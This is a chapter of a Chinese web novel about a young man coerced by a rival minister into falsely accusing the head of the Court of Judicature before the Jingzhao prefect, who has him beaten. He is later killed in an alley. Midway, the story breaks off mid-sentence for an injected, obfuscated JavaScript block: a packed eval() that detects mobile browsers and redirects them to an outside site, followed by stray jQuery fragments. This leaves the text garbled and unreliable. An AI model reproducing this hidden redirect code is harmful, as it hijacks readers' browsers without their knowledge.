咚、咚、咚,咚、咚、咚……
京兆府大门前的堂鼓被敲打得山响,京城北大街许多过路的行人都被这好久没有响起的鼓声给吸引了来,一齐围在四周观看,不知道要发生什么事。只因这京兆府在天子脚下可不是个普通的衙门,不是那些小老百姓鸡毛蒜皮、家长里短的纷争就能来告状的地方,而是专管重大案件的。所以平民老百姓如果没有关系重大的事,正常情况下是不能来这里敲打堂鼓的,不然府尹升堂之后,觉得你在浪费他的时间,反倒会来治你的罪。而且真要有什么重大的案件,一般也是到有司衙门去报案,或者是到大理寺,没几个人会来京兆府这里。
如果要说,这个京兆府有什么特别的地方,那就是你“关系重大”的事情,府尹有权给你当场解决了,不必一级一级向上汇报,受到那么多的约束,浪费那么多的时间。但前提是,必须得证据确凿。只要能证据确凿,案件的案犯甚至是可以被当堂判决死刑的,而不需要走任何别的程序。当然前提是,府尹得愿意,否则你就是铁证如山,他也照样可以不去管,因为你不过是个小民,就算他不管,你又能怎么样?
说起这个京兆府尹,那可是个正三品的官职,绝对不算低了。他的地位基本上是与朝中几位尚书,还有大理寺卿并列的,而且权力也很大,毕竟案件到了京兆府这里,就基本上是由他府尹一个人审理了,爱怎么管就怎么管,想怎么做就怎么做。但平时前来告状的人很少,所以府尹也是闲得没事干,虽然他就喜欢没事干,因为他不爱管事,但闲得太久了,也有些无聊,甚至希望来点什么事,让自己管管,也好用自己手中的权力,对人们造成一点什么影响。
现任府尹姓管名拟,字郝贤,是个城府很深,却又架子很大的中年人。这个人非常矛盾,因为他什么道理都懂,连官场那一套伪装的把戏都早已摸透了,但就是控制不住自己,想要在人前威风威风,尤其是在那些没权没势的小老百姓面前,更是要肆无忌惮地装腔作势一番。但他同时又很懂得见风使舵,更确切地说,是懂得怎么在这个复杂的官场中明哲保身。他从来不去得罪同僚,却也不会去奉承同僚,因为奉承了这个同僚,可能无意间就得罪了另一个同僚,所以他既不得罪,也不奉承,因为奉承了一不小心就会变成另一种形式的得罪,而不得罪的本身就是另一种形式的奉承。
这个管拟既想什么事都管管,也想什么事都置身事外。他就是一个很矛盾的人,但偏偏就是这种人,在这个复杂的官场里面,混得最好。因为朝廷不养无用之人,也不敢养用处太大的人。如果真的什么事都不管,那白白给你薪俸做什么?但要是什么事都管,那你就别想再拿到薪俸了。管拟就深知这个道理,而他就恰好能在管与不管之间找到一个平衡点,在有用跟无用之间也找到一个过渡,然后轻轻松松,坐在这个正三品的官位上,拿着很高的薪俸,过着很好的日子。
但现在有一个问题,就是他已经太长时间处于“无用”的状态了,如果再这么继续下去,估计朝廷觉得天下已经太平了,都没有一个人来击鼓鸣冤了,那么干脆就把京兆府都取消了算了,白白养着无用之人做什么?还不如民间的小衙门有用,至少人家天天都有小老百姓来喊冤,不像你这个京兆府,搞得规模那么宏大,天天门可罗雀的,跟个摆设似的,难道这世道还用得着你这种“曲高和寡”的玩意儿?
就在府尹烦恼之际,外面突然传来了堂鼓的“咚咚”声,而且敲得山响,简直是震天动地。这可是一年半载都难以听到的,“美妙”的声音啊!府尹管拟忽然欣喜若狂,心想今天来这么一下,不管事情怎么样,结果又如何,至少自己的官职是保住了,而且还能再持续个一年半载,等下一次再有敲堂鼓的声音响起,自己这个官就又能继续做下去了。如此看来,自己是一辈子也不会丢工作了,因为这世上的事,不论大小,总是没完没了,所以那个堂鼓声迟早都会响起,但又不会响得太频繁,让自己没有机会清闲。
这时候那个堂鼓“咚咚咚”的在外面响,不但街上的人惊讶,京兆府的官吏们惊讶,好久没有拿起水火棍的衙役们惊讶,连府尹管拟也惊讶。这个声音,已经多久没有响起了?他们都不记得了。当然管拟还记得一些,好像一年前有人敲过一次,是个穷疯了的乞丐,也不为别的,就是因为肚子太饿了,整个人很痛苦,看到人就想打,又不敢,所以正好来到了京兆府的大门前,看到了堂鼓,于是就狠命地乱敲了一番,最后当堂乱喊乱叫,在众人的围观之下发疯了,见他是个疯子,也就放出去了。然后是半年前,又有人敲过一次,是个精神病,正好路过京兆府的大门前,整个人朝堂鼓那儿一扑,把整个堂鼓都给撞倒了,然后他在堂鼓上面跳舞,把堂鼓跳破了,最后当堂说着胡话,指着众人和府尹大笑,见他是个精神病,也就放出去了。之后是几个月前,又有人在新的堂鼓上没有节奏地乱敲了一番,原来是个小顽童,见那堂鼓好玩,就乱敲,把他父母吓死了,见是个小孩乱闹,也就放出去了。
这次堂鼓被敲打的还算有节奏感,一下接着一下,“咚、咚、咚,咚、咚、咚”,只是不知是哪个疯子、精神病?府尹当然也不管这些,有人敲打就好,看来工作没丢,于是便连忙升堂。这次来的却是一个年轻人,但看他的状态,好像也是半个疯子精神病,怎么那么神经兮兮的,把府尹和众人都给吓了一跳。
只见那个年轻人一见府尹升堂,便连忙冲进了大堂,朝地上一扑,摔了一跤,又连忙爬了起来,浑身颤抖,跪在当中。两旁衙役们手握水火棍,用棍子敲击地板,一面拉长了声音大声喊道:“威——武——!”声响非常洪亮,在大堂里面回荡,简直是震耳欲聋,把那些围观的都吓得登时不敢说话了。这种气势,谁见了不害怕?如果是个比较胆小些的罪犯,估计这时候都已经全部招供了。
“你叫什么名字啊,为何击鼓鸣冤?”府尹问道。
“小的我……小的我叫唐强。”那年轻人正是唐强。“我……我有冤情。”
“你有什么冤情啊?”
“我……”唐强有点害怕,声音都是颤抖的,“我……我要告发……我要告发一个人。”
“你要告发一个人?谁啊?”
“大……大……大……大理寺卿,宇文豪。”
这话一出,众人都“啊”的一声。
“你……你要告谁?”府尹皱眉问。
“大理寺卿,宇文豪。”唐强这次没那么结巴了。
“你……你告大理寺卿做什么?”
“他……他害得我家破人亡。”唐强说道。
“哦?他怎么害得你家破人亡啊?”
“我……”唐强也不知道该怎么说,突然大叫了起来,“反正我倒霉啦!”
“不要咆哮公堂。”府尹被他这么一叫,吓了一跳。
“我没有咆哮!”唐强咆哮道,“我倒霉,倒霉,倒血霉!我倒大霉!”
“你给我住口!”府尹拍案喝道,“你乱叫什么?!你要告谁啊?”
“宇文豪!狗杂种宇文豪!”唐强大叫。
“你不要叫!”
“我快疯啦!”唐强还在乱喊乱叫,“我真的不想活了!”
“你莫非有精神病?”
“我是有精神病,”唐强笑道,“我有病,你们没病,就我有!”
“你……你为什么告宇文寺卿啊?”
“我好像记得,我刚刚有说为什么,为什么你还问我为什么,我怎么知道为什么……”
“你说他害得你家破人亡?”
“我还没有!”唐强大叫。
“不要叫!”府尹感觉自己精神也有点不正常了,怎么每次升堂来的都是些精神病?“你要告,你就拿出证据来,给本官看。”
“证据?”唐强瞪眼道,“俺没证据!”
“哪里来的刁民!”府尹不觉大怒了起来,指着他厉声骂道,“你是来戏弄本官的?!”
“我就是来戏弄你的,我不想活了!”唐强疯也似的大叫,突然又哈哈大笑了起来,笑嘻嘻地跳起身,看了大家一眼,一转身就向外走,穿过人群,大摇大摆地离开了。
府尹、衙役们,还有围观群众,全都目瞪口呆。
唐强潇潇洒洒地走到了一个附近的巷子口,见一个长相猥琐的人正在探头探脑。那个人正是刑部尚书甄仑,一见他来了,便忙问:“何如?”
“俺也不晓得嘞!”唐强笑道。
“可曾告发宇文狗?”甄仑问。
“告了,”唐强道,“没用。”
“何也?”
“没证据。”
甄仑叹了口气,突然看着唐强说:“汝再告。”
唐强道:“告了没用。”
甄仑道:“汝不告,欲何如?”
唐强道:“我想回家见妈妈。”
甄仑狞笑道:“汝若不告赢,吾送汝见阎王。”
唐强一听这话,登时绝望了,脸上露出苦笑,眼睛含着泪水。
甄仑笑道:“汝别无选择,或是告赢,或是惨死狱中。到时,吾送汝尸,见汝母。”
唐强突然萌生了一个念头。他看着面前这个矮小的甄仑,自己比他至少高半个头,也比他还略壮些,为什么现在自己倒要被他控制,被他指使?难道自己不能动手把他打晕,甚至是杀了他,然后逃走吗?唐强这么一想,脸上不由自主地露出了一种奇怪的笑,一种很可怕的笑。他这么笑着,看着甄仑,觉得自己肯定能打得过,甚至直接可以把他给杀了。他势在必得,已经
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051975|194817||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
准备好要动手了,他准备先一拳打过去。
他出拳了!
就在这一瞬间,他突然感到身上不知道什么地方传来一阵剧痛,他拳头才出到一半,就打不过去了,忍不住“啊”的大叫了一声,整个人朝地上摔了下来。
“哼!”甄仑那尖锐的声音道,“汝小儿,欲暗算吾耶?”
原来甄仑早在四周安排了一个护卫,这时见唐强出手了,便也跳了出来,一掌打向唐强的背部。唐强这时候,彻底绝望了。他只好听甄仑的,再次来到了京兆府的大门前。
甄仑跟他说:“汝放心,待宇文豪一死,吾自对汝重重有赏。此次汝去告,绝对成。吾自使人去见那管府尹,此人定不忍得罪甄某,汝勿多虑,只管告。汝就告宇文豪,害汝家破人亡。汝父,汝母,汝兄,汝弟,皆死于非命,死无全尸,死无葬身之地,死……死不瞑目,死无全尸……死……皆惨死,惨死宇文豪手中。汝……随意说。”
“咚咚咚,咚咚咚,咚咚咚,咚咚咚。”
府尹再次升堂,唐强再次跪了下来。
“你怎么又来了?”府尹不耐烦道。
“小人有冤情,求府尹大人做主!”唐强这次没那么疯狂了,一面说,一面磕头。
“你有何冤情?”府尹叹了口气,道。
“小的我,死了爸,死了妈,死了哥,死了弟,死了爷爷,死了奶奶,全家都死绝了,只剩下我一个了,他们都死得很惨,都死无全尸,死无……什么葬身之地,什么……死于非命,什么……反正都死了,而且死得很惨,然后……是被宇文豪杀的。”
“你有什么证据?”府尹问。
“证据……我……没有。”
“那你怎么说是宇文寺卿杀的呢?”府尹又问。
“我……”唐强突然感到一阵头晕,被这群人给折腾得快要累死了,“我随便乱说的嘛……”
“好啊,”府尹怒道,“你个刁民,竟敢诬告朝廷命官,你现在该死了!左右的,给我加力地打!”
两旁衙役一齐叫声:“是!”便把唐强按住在地,一齐举起水火棍来,一棍接着一棍向他打去,把他打得叫苦连天,痛不可当,哭着求饶:“别打啦!哎呀!我命苦啊!”
“敢诬告朝廷命官,不让你受点教训,你还不知道你姓甚名谁了!”府尹怒道。
“别打啦!”唐强哭叫道。
“说!是谁指使你来诬告宇文寺卿的?”府尹喝问。
“我不知道啊……”唐强快被乱棍打死了,声音都快没了。
“你不说是吧,那就是你自己想诬告。本官现在就把你就地处死!”
“别打了,别打了……”唐强气都快没了,“我……我说……”
“说!”
“是……是甄仑……”
“谁?”
“刑部尚书……刑部尚书……”
这话一出,府尹又大吃了一惊。他早就想到了,这么个小老百姓,怎么敢随便告发朝廷命官,如今听他说出“刑部尚书甄仑”,他就相信完全有这种可能,因为甄仑跟宇文豪的明争暗斗,官场中谁人不知,他管拟自然也知道,所以他觉得这个唐强完全有可能就是甄仑派来的,为的就是要对付宇文豪。他这么一想通了,顿时就不敢害了那唐强的性命,不然就间接地得罪了那派唐强来的甄仑。如果这时候自己去奉承甄仑,配合他们的诬告,一齐对付宇文豪,那么同样是正三品的大理寺卿,自己就要得罪了。他管拟不肯得罪宇文豪,也不愿得罪甄仑,于是,他就既不配合甄仑他们的诬告,也不准备害死甄仑派来的人,唐强。他于是叫那些衙役别打了,放那个唐强离开,“你以后不许乱说话了,明白了吗?去吧!”
唐强被打得浑身是血,遍体鳞伤,这时候已经起不来了,只好轻轻地说了声:“多谢大人饶命……”便痛苦地挣扎着,拖着沉重的身体,一点一点,缓慢地爬了出去,地上留下一道鲜血的痕迹。那些围观群众见没热闹看了,便也都散去了。
唐强孤独地、痛苦地、绝望地、无奈地,在大街上慢慢地爬,不知道要去哪里。他想到了妈妈,想到了哥哥,想到了自己。他知道自己快死了,只是他不服啊,怎么会死得连条狗都不如呢?他含着眼泪苦笑,看到了街上那些路人,用各种各样的眼神看着自己,但没有一个人来扶自己一把,甚至还用很蔑视、很嫌弃、很恶心自己的眼神看着自己。他忍不住哭了。后来他慢慢地爬,爬到了巷子里,已经奄奄一息了。突然,甄仑站在了他的背后,冷冷地说道:“汝小儿,出卖吾耶?”唐强已经没有力气回应了。甄仑哼哼笑了笑,说道:“汝真乃‘无用之人’。”唐强听完这句话,自己的后背,突然感到一阵冰凉,接着眼前一片模糊,就什么都看不见了。他死了。